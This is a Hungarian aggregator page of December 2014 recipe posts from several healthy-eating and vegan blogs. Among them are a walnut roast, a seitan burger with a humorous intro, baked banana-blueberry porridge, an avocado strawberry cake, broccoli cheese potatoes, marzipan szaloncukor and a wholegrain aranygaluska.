fokhagyma - 2 db közepes sárgarépa - (1 ek útifűmaghéj) - (2 ek sörélesztő pehely) Diósült, avagy a tökéletes húsmentes fasírt sült édes burgonya ELKÉSZÍTÉS: A diót és a magvakat egy serpenyőben zsiradék nélkül lepirítjuk, hogy a zamatok jobban érezhetőek legyenek. Miután lepirult, félre tesszük őket hűlni, majd a darálóban durvára aprítjuk. A lila hagymát és a fokhagymát egy kevés vízzel krémessé turmixoljuk. A sárgarépákat a hámozott paradicsommal (konzerv lé nélkül) a turmixban péppé dolgozzuk. A darált dió és mag keverékhez hozzáadjuk a hagymapépet, a sárgarépás paradicsomot, a fűszereket (só, bors, petrezselyem, mustár, Cayanne bors), a tojásokat, és a reszelt sajtot. Az egészet összekeverjük, hogy egy nagyjából egynemű fasírt állagot kapjunk. (Ha van otthon útifűmaghéj és sörélesztő, az is most kerüljön bele.) diósült, tortaformában sütve Elővesszünk egy sütőformát (én rendszerint a kerek tortaformámban készítem el ezt a sültet). Kikenjük kókuszzsírral, vagy béleljük sütőpapírral. 180 °C -ra előmelegített sütőben kb.45 perc alatt piros ropogósra sütjük a diós fasírtunkat. Párolt zöldségkörettel és édes burgonyával, vagy friss zöldséggel tálalva vehetjük le a lábukról vacsora vendégeinket. :-) Diósült, párolt zöldségekkel és sült édes burgonyával Kellemes karácsonyi készülődést, meghitt, szeretetben gazdag, jóízű, egészséges karácsonyi vacsorát kívánok mindenkinek! :-) Megjegyzés: érdemes utána olvasni a neten mi mindenre jó a dió?! Rengeteg jótékony hatása van, és nem is tudjuk mekkora kincs, hogy Magyarországon könnyedén hozzájuthatunk. Tapasztalatból mondhatom, hogy a legtöbb országban ritkaságszámba megy, és ahogy szokták mondani ,,aranyárban mérik. A legnagyobb kiszerelés pl.: itt Írországban egy 200 g-os kis műanyag dobozka. :-(
Szejtánburger worchesteres gombával
2014. december 19. Vegán muflon
Él a vegánokról egy olyan sztereotípia, hogy a hajnali fél négyes ébredés után a hepciás vadszamár jógapózban időznek két órán át, majd desztillált pi-vízben megfürdenek, és reggeli gyanánt eleszik a papagáj elől az etetőbe bekészített biokölest. Súlyos nagy tévedés, kérem! Ezen sorok írója pl.csak azért, hogy megcáfolja mindezt, minden nap másnaposan avászkodik ki az ágyból délután háromkor, fellapátol egy IFA-platónyi kokaint, "reggelire" pedig azbesztporral elkevert energiaitalt fogyaszt, amit előzőleg mikrohullámú sütőben melegít szobahőmérsékletűre. A bevezetőben említett mítosz további lerombolása érdekében következzék egy klasszikus junkfood. Annyira azonban a fekete öves biofasisztáknak sem kell elborzadnia: ha három éven át ezt fogyasztanák ebédre, akkor sem kellene attól tartaniuk, hogy idővel egy cintányérozó szódagyári portás fejlődik ki bélbolyhaikból.
További mítosz, hogy a hamburger klasszikus egykaptafás táplálék. Ezt azonban csak azok terjesztik, akik életüket egy lakókocsihoz láncolva élték le a balatonakarattyai strandon. A titok mindössze annyi, hogy örökre feledkezzünk el a szikkadt barna zsemléről, a húspogácsáról, valamint a saláta-paradicsom-csalamádé "szent"háromságról. Pl. hasonló formában:
Előkészítendő:
1 csomag jó minőségű hamburgerzsemle 120g (kb. fél csomag) szejtánpor 3 evőkanál szójaszósz 2 kiskanál liszt vegamix vagy hasonló ételízesítő 1 evőkanál margarin, margarinfóbiásoknak 1 evőkanál kókuszzsír 2 fej vöröshagyma 300 g csiperkegomba felszeletelve 1 dl vörösbor ízlés szerint worchesterszósz só A szejtánporhoz hozzáadjuk a lisztet, és lelkiismeretesen elkeverjük benne. A szójaszószhoz egy pohárban hozzáadunk 1dl vizet, majd a szejtánhoz lötyböljük. Kézzel jól összegyúrjuk, megdolgozzuk, mint kidobó az angol legénybúcsúst. Végezetül henger formájúja gyúrjuk, felvágjuk három egyforma részre, és szójaszószos-vegamixes vízben addig főzzük, míg fel nem jön a víz tetejére. Ekkor kivesszük, és heveny káromkodások közepette megkíséreljük 1-1,5 centis szeletekre vágni. Az obszcén szavakat elkerülendő, akár meg is várjatjuk, míg kihűl, a művelethez ugyanis puszta kezünkkel is hozzá kell érnünk. Ekkor egy grillserpenyőbe olajat öntünk, sózzuk, ételízesítővel fűszerezzük, és jól átsütjük. (A szejtán szolid traktorbelső-állaga némileg megmarad, ez anyagából adódó sajátossága. Ám ízre így is kifogástalan lesz.) Közben két másik edényben margarint vagy kókuszzsírt hevítünk. Egyikhez hozzáadjuk a felkarikázott hagymát, a másikhoz a gombát. Egy darabig sztereóban pároljuk. A hagymához hozzáfröcskölünk 1dl vörösbort, és megvárjuk, míg teljesen el nem fő. Ezek után mély szakértelemmel megsózzuk. Közben áttérünk a gombára: miután elfőtte a levét, irgalmat nem ismerve meglocsoljuk worchester szósszal, megsózzuk, majd boldogan belelapátoljuk a szejtánburgerbe némi savanyúuborka, jalapeno paprika és sátáni kechup és mustár társaságában. Ímhol a végeredmény:
Vegán sült banános áfonyás zabkása
2014. december 17. Zizi kalandjai
Nagyon sokszor eszünk kását reggelire (zabpehelyből, rizspehelyből, tönkölydarából – végtelen kombinációja van), de néha jó változtatni a megszokott dolgokon. Ez általában hétvégén történik (na, nem minden hétvégén), amikor jobban ráérünk és ilyenkor palacsintát sütök. Mindenki imádja persze, nem lehet belőle eleget készíteni.
Ez a kása abban tér el a hagyományostól, hogy össze van sütve. Nagy előnye, hogy előző nap össze lehet keverni, berakjuk a hűtőbe és másnap reggel a sütő előmelegítésével megvan 30 perc alatt, amíg mi elkészülünk és már csak reggeliznünk kell. Ennek is nagyon sok variációja van, nyugodtan rakjatok bele más friss gyümölcsöt vagy aszaltat és bármilyen maggal fel lehet dobni – dió, mandula, paradió, törökmogyoró -, de el tudom képzelni napraforgómaggal vagy mákkal és citromhéjjal ízesítve is. Mi zabból csináltuk és köztudott a zab melegítő hatása, tehát télen még jobban is esik egy tálka meleg reggeli. Nálunk karácsonykor biztosan újra el lesz készítve és, hogy ünnepibb legyen gránátalma magokat szórok majd a tetejére!
Vegán sült banános áfonyás zabkása
Hozzávalók kb. 3-4 főre:
- 1 bögre zabpehely
- 1/4 bögre mandula- vagy rizstej
- 3/4 bögre áfonya (friss vagy fagyasztott, de lehet használni málnát, szedret)
- 1/2 bögre kesudió, apróbb darabokra vágva
- 2 db banán, meghámozva, felkarikázva
- 1 evőkanál kókuszreszelék
- 1 teáskanál fahéj
- lehet édesíteni juhar-, rizs-, agavésziruppal vagy mézzel, de én nem tettem bele semmit
Tegyük a zabpelyhet egy hőálló tálba és öntsük le forrásban lévő vízzel. Hagyjuk állni kb. 10 percet.
Amikor a zabpehely magába szívta a vizet, adjuk hozzá a szeletelt banán nagy részét (hagyjunk egy keveset a tetejére), az áfonyát, a kesudiót, a kókuszreszeléket, a fahéjat és öntsük hozzá a mandulatejet. Jól keverjük össze, majd öntsük bele egy kis sütőtálba. A tetejét díszíthetjük a megmaradt banán karikákkal, áfonyával, kesudióval.
180C fokra előmelegített sütőben süssük kb. 20-25 percet, amíg a teteje éppen megbarnul.
Sütőtök-főzelék répachipsszel
A szürke, ködös, felhős hétköznapjainkba az ételeink által színeket lophatunk, amelyek pszichénkre is jó hatással vannak. Erre alkalmas a következő, rendhagyó főzelék. A répából készült szirmok, vagy chips-ek igazán egyedivé teszik a tálalást. Ha van otthon tökmag - olaj, pár csepp tálalásnál a főzelékbe és igazán finom ízélményt élhetünk át. Persze tökmagolaj nélkül is finom. Mi is úgy fogyasztottuk el főként.
A recept
Hozzávalók:
- 1 kisebb sütőtök
- néhány szál répa
- 2dl kókusztej (dobozos)
- víz
- 4-5 gerezd fokhagyma
- 2 szál tárkony
- 4-5 szem krumpli
- só
Elkészítés:
A sütőtököt és a krumplit meghámozzuk, átmossuk, feldaraboljuk, majd kevés vízben tárkonyt és sót hozzátéve megpároljuk. Amikor már szinte megpuhult, a fokhagymát is hozzáadjuk. A kókusz tejjel együtt összeturmixoljuk a megpárolódott zöldségeket. Közben a meghámozott, karikára reszelt répát sütőpapíros tepsiben megsütjük. A kész főzelék tetejét megszórjuk a répa-chipsszel.
Avokádókrémes eper torta, egészséges lisztekből nyers krémmel
2014. december 12. Zöld Avocado
Avokádókrémes eper torta, egészséges lisztekből nyers krémmel Nem terveztem mostanában tortás bejegyzést, és főleg nem epreset. De az egyik kedves olvasóm, és fő támogatóm, Dóra születésnapja alkalmából kért tőlem egy tortás receptet. Sajnos mivel eddíg nem sok egészségesnek mondható tortát készítettem (ezen a jövőben változtatni fogok), így eléggé megfogott ezzel a kéréssel... Azonban, kedves Olvasóim kérése számomra parancs, így woala, találtam egy régebbi receptet, és hozzá néhány fotót, amit szívesen megosztok most veletek ezen a blogon! ;-) Nagyon Boldog Születésnapot kívánunk neked Dóra ezzel a szemet gyönyörködtető tortával! :-) Bár az epernek nincs éppen szezonja, azért remélem nem bánjátok ezt az édességet így December tájékán sem. ;-) Természetesen a torta tetején díszelgő piros gyümölcsöt helyettesíthetitek más, egy kicsit talán aktuálisabb gyümölccsel is. Na nem is húzom tovább a szót! Íme ez a rendkívül egyszerű, és mégis igen látványos és finom torta recept! :-) Avokádókrémes eper torta HOZZÁVALÓK: a torta laphoz: - 2 tojás - 1 natúr bio joghurt (laktózmentességhez használjunk szója joghurtot) - 1 bögre növényi tej (pl.: rizstej, mandulatej, mogyorótej, kókusztej) - 1 tk rum aroma - 1/2 tk szódabikarbóna - 1/2 bögre nádcukor vagy nyírfacukor - 1 bögre mandulaliszt (vagy finomra őrölt mandula) - 1 bögre rizsliszt - 1 bögre zabliszt (vagy finomra őrölt zab) - csipet Himalája só - 1 citrom reszelt héja (lehetőleg kezeletlen, vegyszermentes citrom) - 1 tk őrölt gyömbér (vagy friss gyömbér) Avokádókrémes eper torta a krémhez: - 2 érett Avokádó - 100 ml növényi tej (mandula, kókusz, rizs, mogyoró stb.) vagy natúr bio joghurt - 2 érett banán - 2 ek Agavé szirup vagy egyéb folyékony édesítő - 1 ek útifűmaghéj - tetejére: sok sok piros eper (vagy egyéb más gyümölcs pl.: áfonya, kék szőlő, szeder, barack stb.) Avokádókrémes eper torta ELKÉSZÍTÉS: A torta lap szilárd és folyékony összetevőit külön-külön tálban egyneművé összekeverjük, majd a szilárd és a folyékony tál tartalmát is összekeverjük, amíg egy egynemű tésztát nem kapunk. Állni hagyjuk, míg a krém elkészül, hogy a zab meg tudja szívni egy kicsit magát. A zöld krém hozzávalóit összeturmixoljuk, és betesszük a hűtőbe, míg megsül a tészta. kb.: 15 perc múlva előmelegített sütőben 180 °C fokon kb.25 perc alatt készre sütjük az egészséges lisztből készült torta lapot. Hagyjuk a sütőben kihűlni, majd vegyük ki, és szurkáljuk meg a tetejét egy villával, hogy a krém egy kicsit beszivároghasson a tésztába. Miután teljesen kihűlt, megkenjük az avokádós krémmel, és az eperrel (választott gyümölccsel) befedjük. Betesszük a hűtőbe 1 -2 órára, hogy jól összeálljon a krém, és már lehet is fogyasztani ezt a gyors és egyszerű, fehér cukor és fehér liszt mentes, gyümölcsökkel teli reform édességet! :-) Avokádókrémes eper torta, egészséges lisztekből nyers krémmel Boldog Születésnapot és jóízű nassolást kívánok! Megjegyzés: ha nem ragaszkodunk hozzá, hogy a krém és a gyümölcs színben és ízben ennyire elváljon egymástól, turmixoljunk a krémbe a válaszott gyümölcsből is, és akkor egy teljesen egyszínű és ízű tortát kapunk. Pl.: epres krém eperrel, körtés krém körtével stb.
Brokkolis sajtos krumpli : gyors és egyszerű egytálétel
2014. december 8. Zöld Avocado
Brokkolis sajtos krumpli A burgonya egy alapvető élelmiszerünk, amiből rengeteget fogyasztanak a magyarok is. Korábban akár heti kétszer vagy még többször is az asztalra került ilyen olyan formában. Sülve, főve, egytálételként, köretként, tojással, salátaként, püré formájában stb. Manapság már egyre ritkábban fogyasztjuk, mert vannak, nála sokkal értékesebb zöldségek is melyek, gyorsan elkészíthetőek és laktatóak. Ráadásul elég sok ember nem képes, vagy csak részben képes megemészteni a burgonyát, és gyomor fájdalmak jelentkeznek az elfogyasztásuk után. :-( Természetesen azért vannak jó tulajdonságai is a burgonyaféléknek, amiért érdemes néha beiktatni az étrendünkbe. ;-) Lássuk, mik ezek? ,,Mikor főzik vagy sütik, a burgonya gyakorlatilag zsírmentes élelmiszer. A burgonyában a fő energiaszolgáltató tápanyag a szénhidrát, keményítő formájában. A szénhidrátok elsődleges energiaforrások a test számára. A burgonya önmagában kevés fehérjét tartalmaz, de tejtermékkel vagy tojással kombinálva jó minőségű fehérjét tartalmazó étel készíthető belőle. A burgonyafélék rostforrások, amik hozzájárulnak a telítettségérzethez, és támogatják az egészséges emésztést. A burgonyafélék jelentős C és B vitamin források, gazdagok káliumban, emellett még kis mennyiségű magnéziumot és vasat is tartalmaznak. A különböző elkészítési módok következtében a burgonyaételek tápanyagtartalma rendkívül változatos. Az elkészítés során fellépő tápanyagvesztés függ a hőfoktól és az elkészítés időtartamától. A vízoldékony vitaminok és ásványi anyagok, mint a B vitaminok, a C-vitamin és a kálium kioldódnak a vízbe a főzés során. További ,,jó hír azoknak, akik igyekeznek elkerülni a testtömeg növekedését, hogy a burgonyaféléknek magas a telítő értéke. A burgonyafélék gluténmentesek, ebből következően szabadon fogyaszthatóak azok számára, akiknek kerülniük kell a glutént. Forrás: Európai Élelmiszer Információs Bizottság Ezúttal készítsünk egy egyszerű és gyors egytálételt burgonyából, brokkoliból és sajtból! Egy étel azoknak akik imádják a sajtokat! brokkolis sajtos krumpli HOZZÁVALÓK: - 1,5 kg burgonya - 2 tojás - 400 g sajt (valami kemény és ízes sajt pl.: jófajta trapista, ementáli, pannónia, füstölt stb. Lehet keverni is, és többféle sajtot felhasználni) - 2 dl mandula tej / rizs tej / mogyórótej - 3 ek rizsliszt / tönkölyliszt / kukoricaliszt - 1 ek répce olaj / olíva olaj / kókusz zsír - 500 ml natúr organikus joghurt / görög joghurt / bio tejföl - 1 közepes fej brokkoli - Himalája só, fehér bors, olasz fűszerkeverék - (friss petrezselyem, és sörélesztő pehely) ELKÉSZÍTÉS: A burgonyát megfőzzük, főzés után meghámozzuk, és felkarikázzuk. (Én már előző nap este meg szoktam főzni, hogy ne menjen vele az idő másnap. ;-) ) A szószhoz egy tálban összekeverem a joghurtot, a tojást, a lisztet, a zsiradékot, a sót, borsot, és az olasz fűszerkeveréket. A sóval ne spóroljunk, mert a krumpli felszívja. De persze sózni utólag is lehet, ha nem vagyunk elég bátrak. A brokkoliról levágom a ,,bokor részét mert csak arra lesz szükségünk, és megmosom. A szárat sem kell kidobni, mert a következő zöld turmixba pont elfér. (A Zöld turmixról majd egy későbbi bejegyzésben még írok). A turmixgépbe szórom a megmosott nyers brokkoli bokrot, felöntöm a tejjel, és összeturmixolom. A cél, hogy a nyers brokkoli morzsákra essen szét. Ezt a brokkolis tejet is a tálba öntöm a joghurtos szószhoz, és összekeverem az egészet. A sajtot, vagy sajtokat a nagy lyukú reszelőn lereszelem. Igen, tudom, most mindenki húzza a száját, mert ezt a konyhai műveletet senki nem szereti. Én sem. ;-) Ezért ha van egy olyan csodamasinátok, mint nekem, - mint, amilyet már javasoltam egy korábbi bejegyzésben, hogy érdemes beszerezni - , akkor ezt egyszerűbben is meg lehet oldani. Elővesszük a multifunkciós készülékünk két késes darabolóját és a kis hengert. Ezzel lehet magokat őrölni. Én most sajtot fogok daraboltatni vele. Nem annyira szereti, de ha óvatosan csináljuk, kibírja. ;-) Ne tegyünk bele túl zsíros sajtot, mert akkor csak kiforognak a kések, és leégetjük a motort. Tehát a kemény sajtot kockákra szedve (kb.2*2cm), a kis hengerbe tesszük, úgy, hogy az félig tele legyen. 1-es fokozaton bekapcsoljuk a gépet, és pár másodperc alatt, kész is a sajt morzsa. Beleöntjük a joghurtos brokkolis szószba, és újra töltjük a kis hengert a sajttal. Mindezt addig ismételjük, míg a sajt teljes egészében elfogyott. (Hagyjunk annyi sajtot, hogy az étel tetejét meg tudjuk szórni a végén, ami aztán majd jól megpirul az étel tetején.) Előveszek egy nagy, de lapos jénai tálat, amit kikenek vékonyan kókuszsírral (vagy valamilyen más zsiradékkal), beleteszek egy réteg főtt, karikázott krumplit (az összes felét), majd leborítom a brokkolis szósz egyik felével. Kicsit fakanállal összekverem, hogy midenhová jusson a szószból. Erre rászórom a krumpli másik felét, és leborítom a maradék szósszal. A tetejét megszórom a félrerakott reszelt sajttal, és 220°C -ra előmelegített sütőbe teszem ezt az egyszerű, de kiadós egytálételt. Kb.20-25 perc alatt készre sütjük. Az utolsó pár percben érdemes grillezősre kapcsolni a sütőnket, hogy a sajt a tetején jól rápiruljon. ;-) Tálaláskor szórjunk rá friss petrezselymet, és sörélesztő pelyhet a gazdagabb tápanyagtartalom és ízélmény elérése kedvéért! Megjegyzés: Ez nem az az étel, amit azért készítünk el, mert olyan ínycsiklandóan néz ki, hanem azért mert nagyon finomak az olvadt sajtos, fehér szószban tocsogó burgonya karikák. :-) Egyszer, kb.15 évvel ezelőtt kipróbáltam egy alapreceptjét ennek az ételnek, és azóta nem tudunk megfeledkezni róla. Rendszeres időközönként elhangzik ez a mondat itthon "hú, de ennék egy jó kis sajtos krumplit!"... ez így megy már 15 éve. ;-) Próbáljátok ki (akár brokkoli nélkül is), és megértitek miről beszélek. ;-) Jó étvágyat hozzá! :-)
Narancsos marcipános szaloncukor
2014. december 6. Éltető ételek
A szaloncukor igazi hungarikum. Boltban már nem szoktam vásárolni, magunknak készítem el ezeket a csemegéket. Csomagolhatjuk akár színes selyempapírba, de egyszerűen a fa alá is tehetjük. 3 finom szaloncukor receptet már olvashattok az oldalamon. Hozzávalók: - 20 dkg áztatott/héjazott/szárított mandula - 20-30 szem sárgabarackmag (én összegyűjtöttem nyáron a sárgarbarack magját) vagy 1/2 kávéskanál sárgabarack magolaj - 3 evőkanál kókuszvirágcukor - 1 evőkanál chiamag - 5-6 csepp narancsolaj - 1 evőkanál kókuszolaj - késhegynyi vaníliapor - Narancs frissen préselt leve - Bevonat: nyers csokoládé Elkészítése: - A mandulát száraz serpenyőben egy picit pirítsuk meg, majd daráljuk le. - Keverjük el az egyenként megdarált kókuszvirágcukorral és a chiamaggal, majd adjuk hozzá a többi alapanyagot is. - Annyi narancslevet öntsünk hozzá, hogy egy jó homogén masszát kapjunk. Tegyük be a hűtőbe minimum 1 órára. Ezalatt az őrölt chiamag kellően megduzzad, és felszívja a narancslevet. - Nedves kézzel hengereket formázunk, melyeket késsel darabolunk fel a kívánt méretre. Érdemes pár órára az aszalóba vagy a sütőbe tenni, de a radiátoron is tud egy kicsit száradni. - Mártsuk be nyers csokiba, majd tegyük be a hűtőbe.Mivel friss narancslé van benne, ezért tároljuk hűtőben.
Reform Aranygaluska és kistestvére, "Ezüstgaluska"
2014. december 4. Zöld Avocado
Bár a kelt tészták egyáltalán nem tartoznak az egészséges ételek közé, én jó magyar módra nem tudok teljesen lemondani róluk. :-) Az egyik ilyen nagy kedvenc az iskolai menzát idéző aranygaluska. Még nem találkoztam olyan emberrel, aki nem szeretné a sodóban úszó diós kis gombócokat. :-) Reform aranygaluska és ezüst kistestvére Természetesen ennek is el lehet készíteni, egy kevésbé hízlaló, emészthetőbb, gyomorbarát verzióját, mely fehér cukor, fehér liszt és laktóz mentes. Így is elég magas a kalória tartalma, de nálunk nem az (el)fogyás a szempont, hanem az emészthetőség. Így pedig megállja a helyét néha napján az itthoni menüben! ;-) A teljes kiőrlésű lisztekben a gabona korpája is megtalálható, amely tápanyagokban gazdag és segíti az emésztést. A teljes kiőrlésű gabonákból készült termékek amellett, hogy sok hasznos élelmi rostot, vitamint és ásványi anyagot (E-vitamin, B-vitamin, kálium, kalcium, magnézium, foszfor) tartalmaznak, segítenek megelőzni a rák, a cukorbetegség és a szívbetegségek kialakulását is. Reform "ezüstgaluska" HOZZÁVALÓK: (kb. 2 személyre 2 étkezésre) a tésztához: - 175 g teljes kiőrlésű tönköly liszt - 75 g rizs-, vagy mandula-, vagy lenmagliszt - 25 g porcukor (nyírfacukorból, vagy nádcukorból készítsük el a porcukrot a kávédarálónkban) - 25 g jó minőségű növényi alapú margarin (ha szeretnénk tartani a laktóz mentességet) - 1 tasak por élesztő (instant és kb.20 g) - csapott tk. szódabikarbóna - 1/2 tk Himalája só - 1 db egész tojás - 120 ml növényi tej (mandula tejjel a legjobb) - 1 db kezeletlen citrom reszelt héja a diós ,,panírhoz: - 130 g frissen darált dió (Ne vegyünk agyoncukrozott valódi diót nem látott noname dió ízű keverékeket!) - 40 g nyírfacukor vagy nádcukor - kb. 1/2 bögrényi olvasztott növényi margarin vagy kókusz zsír - (a mákoshoz a dió helyett mákot használjunk) Reform aranygaluska a sodóhoz: (Sokféle receptet kipróbáltam már, de nekünk ez ízlett a legjobban!) - 1/2 liter növényi tej (mandulatejjel vagy mogyoró tejjel a legjobb) - 2 tojás sárgája - 50 g nyírfacukor vagy Nádcukor - 2 ek liszt sűrítéshez (ez lehet pl.: rizsliszt) - 1/4 rúd vanília vagy 1 ek vanília extract/kivonat - 1 dkg növényi margarin ELKÉSZÍTÉS: A tésztához való száraz összetevőket mérjük ki és tegyük egy keverő tálba. Egy másik kisebb keverőtálban keverjük/habarjuk össze a folyékony összetevőket egyneműre (a margarint én megszoktam olvasztani előtte). Majd öntsük hozzá a száraz részhez, és gyúrjunk belőle kelt tészta alapanyagot. Akkor jó, ha nem túl kemény, még ragad, de nem ragad teljesen a kezünkre. Egy lágyabb, még növekedni képes tésztát kellene kapnunk. Használjunk még lisztet, vagy tejet, annak függvényében, hogy a tésztánk milyen állagot vett fel ?! Tegyük a tésztát meleg helyre kelni 1 órára. Ha nem süt a nap, vagy nem megy éppen a fűtőtest a lakásban, akkor érdemes a sütőbe tenni. DE ne süssük meg a nyers tésztát! Csak kelesszük. Hogy hogyan? Melegítsük elő a sütőt 50 fokra, majd kapcsoljuk le. Ezután tegyük be a tésztánkat a keverőtálban a sütőbe, és takarjuk le egy tiszta konyharuhával. Sütő ajtót becsukni, de nem bekapcsolni a sütőt! 1 óra alatt szépen megkel a tésztánk. Persze mivel teljes kiőrlésű lisztből készül, ezért ne várjuk ugyanazt a hatást, mint egy fehér lisztes kelt tésztánál. Puha, és ruganyós lesz, de nem fog túl magasra megkelni. Sebaj, a könnyebb emészthetőség oltárán beáldozhatjuk a térfogat növekedést, és a puhaságot. ;-) A ,,panírozáshoz keverjük össze a frissen darált diót az édesítőszerünkkel, és egy külön kis müzlis tálban olvasszuk meg a zsiradékot (növényi vaj vagy kókuszzsír). Miután a tésztánk már 1 órát melegedett a sütőben, kivesszük, és kinyújtjuk kb. 2 cm vastagságúra. Ehhez használjuk a már jól ismert ,,2 sütőpapír között nyújtunk trükköt, és akkor nem ragad semmi sehová, és könnyebb mosogatni is utána. :-) A kinyújtott tésztánkból nagyobb pogácsa szaggatóval félholdformákat szaggatunk. Ezeket a holdacskákat megfürdetjük az olvasztott zsiradékban, majd meghempergetjük az édesített dióban, és egy sütőpapírral bélelt magas falú tepsibe, vagy tortaformába pakoljuk őket, szorosan egymás mellé. Miután megtelt a forma, elfogyott a tészta, letakarjuk, és újabb fél órát kelesztjük a nyers aranygaluskákat. Ekkor már nem szükséges a sütőt előmelegíteni, elég, ha csak egy nem hideg helyen pihentetjük őket. Eltelt az újabb fél óra. A sütőt közben előmelegítettük 170 °C fokra. Betesszük a galuskákat, és 30-35 perc alatt légkeveréses programon készre, aranybarnára sütjük. Közben elkészítjük a sodót hozzá. A tojás sárgáját 1 dl növényi tejjel, az édesítőszerrel és a liszttel csomómentesre elkeverjük. A maradék növényi tejet a vaníliával felforraljuk, és forrón hozzáöntjük a tojássárgás keverékhez. Tűzre tesszük az egészet, és folytonos keverés mellett addig főzzük, míg sűrűsödni nem kezd. Forrni nem szabad neki, mert a tojássárgája összecsomósodik benne. (Ez esetben turmixoljuk össze kézi bot mixerrel a sodót.) Ha a tűzről levesszük, beletesszük a kevés kis növényi margarint, és fényesre keverjük. Nem lesz ez a sodó olyan sűrű mártás, mint a hagyományos menzai, mert a növényi tej nem tud úgy behártyásodni, mint az állati eredetű tej. De az íz élmény felülmúlhatatlan marad! ;-) Reform aranygaluska és ezüst kistestvére (nyersen) Előfordul, hogy nem marad elég diós ,,panír. Ilyenkor sem kell kétségbe esni! Ekkor kerül elő a szekrényből a mák, és készül el az aranygaluska kistestvére, vagy mondhatnám a kínai utángyártott verzió, az ,,ezüstgaluska! :-D A mákot és az édesítőt összekeverjük (ha szeretnénk a mákot meg is darálhatjuk, de egészben is fogyasztható.) És ebben a fekete ,,panírban forgatjuk meg a vajas galuskákat. A többi minden ugyanaz, mint a diós változatban. Ugyanúgy készül el, és ugyanúgy fogyaszthatjuk a sodóval. Szerintem ez is nagyon finom! ;-) Általában két adag tésztát készítek, és az egyik fele diós, a másik fele mákos lesz. Egyik nap aranygaluskát eszünk, a második nap már csak ezüstöt. :-D reform aranygaluska és kistestvére "ezüstgaluska" Megjegyzés1: Valahol olvastam egy ötletes megoldást, hogyan lehet felhasználni az ilyen jellegű tésztákból megmaradt tojásfehérjéket?! Kb. 3 db fehérjéhez keverjünk hozzá 3 ek. búzadarát, 3 ek. reszelt sajtot, sót, borsot, és muffin formában süssük ki a ropogós sajt roppancsokat. Jól hangzik, bár ki még nem próbáltam, mert nálunk általában elfogy a következő napi rántottában a megmarad tojás fehérje. ;-) Megjegyzés2: A mákos galuskához el tudok képzelni a sodó helyett egy gyorsan elkészíthető házi lekvárt. Pl.: Nagyon fekete szőlőt leturmixolunk 1 ek útifűmaghéjjal, és beleteszünk 1 ek darált chia magot. Az egészet betesszük a hűtőbe egy éjszakára, és kész is a cukor mentes, villámgyors, házi lekvár.
Nyers Vegán Karácsonyi kínálat
Visszatértek a Karácsonyi Sületlenségek! A növényi alapanyagokból, kíméletes eljárással készülő kézműves termékeink cukor- és gluténmentesek. Igazi tápanyagforrást jelentenek! Visszatért a Nyers vegán diós beigli és a Mákos beigli, amit 150g-os és 300g-os rúdban rendelhettek meg. Idén a már klasszikusnak számító Citromos- mákos ízű nyers vegán szaloncukor mellett új ízekkel szeretnék vásárlóinkat kényeztetni: Tonkababbal ízesített nyers csokoládés narancssárga gyümölcslapba bújtatva és Kardamonos- narancshéjas lila lapba bújtatva. Ezeket az új finomságokat hazai termesztésű, magas minőségű sztíviával édesítjük, így cukorbetegek és diétázók számára is fogyaszthatóak. Szaloncukorjaink darabonként, illetve 3-as és 9 darabos csomagolásban is rendelhetőek. Nyers bonbonjaink kiváló minőségű alapanyagokból készülnek, melyek szinte kizárólag ökológiai gazdálkodásból származnak, illetve vegyszermentes hazai forrásokból így csökkenteve ökológiai lábnyomunkat is. A kísérletező műhelymunka különleges ízvilágot és egyedülálló kompozíciókat eredményez. Fontos szempont számunkra, hogy az édességek ne csak a nassolás szerepét töltsék be, hanem értékes tápanyagokkal szolgáljanak szervezetünk számára. Így ezek nem csak kémyeztető de hasznos ajándékok is lehetnek egyben. Ajánljuk az Ünnepekre is! Kiváló ajándék barátaink, családtagjaink és kollégáink, üzleti partnereink részére is. Rendelhető 6,9 vagy 12 darabos Édességválogatásként! Új termék a nyers karobos csíráztatott mandula vaj , ami 200 ml-es üvegben kapható. Ezzel a finomsággal is szeretnénk édesebbé tenni az Ünnepeket. A csíráztatott vegyszermentes magyar mandulából készült vajat bio nyers karobporral és bio kókuszvirág cukorral ízesítjük, hogy a gyerekek is fogyaszthassák így elkerülve a kakaó élénkítő hatását. A karobpor, mely egyebek mellett B-, A- vitaminban és kalciumban is gazdag finom édes íze a mandula vajjal keverve páratlan kencét eredményez. Szívből ajánljuk mindenkinek!
Gombás-zöldséges ragu gluténmentes tésztával
2014. november 29. Éltető ételek
Ez egy igazán egyszerű étel, fél óra alatt tálalható is. Kedvenc zöldségünket tegyük bele, én mindig használok sárgarépát és brokkolit. Hozzávalók: (2 adag) - 1 csésze zöldség (sárgarépa, zeller, fehérrépa) - 1 csésze brokkoli rózsáira szedve - 6-8 db közepes méretű gomba - 1 közepes vöröshagyma - 3-4 gerezd fokhagyma - 4-5 evőkanál rizstejszín (nekem az ISOLA márkájú ízlik) - 3-4 evőkanál zabliszt - só, bors, chili, 1/2 leveskocka - kevés kókuszolaj - 1 csomag gluténmentes tészta Elkészítése: - Egy kevés kókuszolajon süssük meg a gombát annyira, hogy a keletkezett lé elpárologjon. Tehát már majdnem pirulnak a gombák. - Adjuk hozzá a vékonyra szeletelt hagymát, és a kockára vágott zöldségeket. Süssük-pároljuk együtt úgy 5 percig. - Reszeljük bele a fokhagymát és fűszerezzük. - Öntsünk rá annyi vizet, hogy ellepje, mivel zaftra szükség lesz. - Eközben főzzük ki a gluténmentes spagetti tésztát. - Mikor már majdnem megfőtt a répa, adjuk hozzá a brokkolit. - Pár perc elteltével szórjuk bele a zablisztet vigyázva, hogy ne legyen csomós. Akár ki is keverhetjük a rizstejszínnel, de én nem szoktam ezért mosatlanítani. - Adjuk hozzá a rizstejszínt is. - Rottyantsuk össze, pár perc alatt besűrűsödik.Jó étvágyat!
Soie dhiver (Szoe diver), avagy a téli selyem leves.
2014. november 29. Vegan Spirit
Most egy olyan receptet írok le, amit egy állásinterjú alkalmából készítettem. Izgalmas volt, ahogy minden összeállt, és megszületett ez a finomság. Az én tetszésemet elnyerte, és remélhetőleg a többiekét is, bár a helyzet furcsaságából adódóan konkrét értékelést nem kaptam és nem is kértem. Végül pedig a végeredmény selymessége és az évszak adták meg a fantázianév alapját. Így született meg a Soie dhiver.
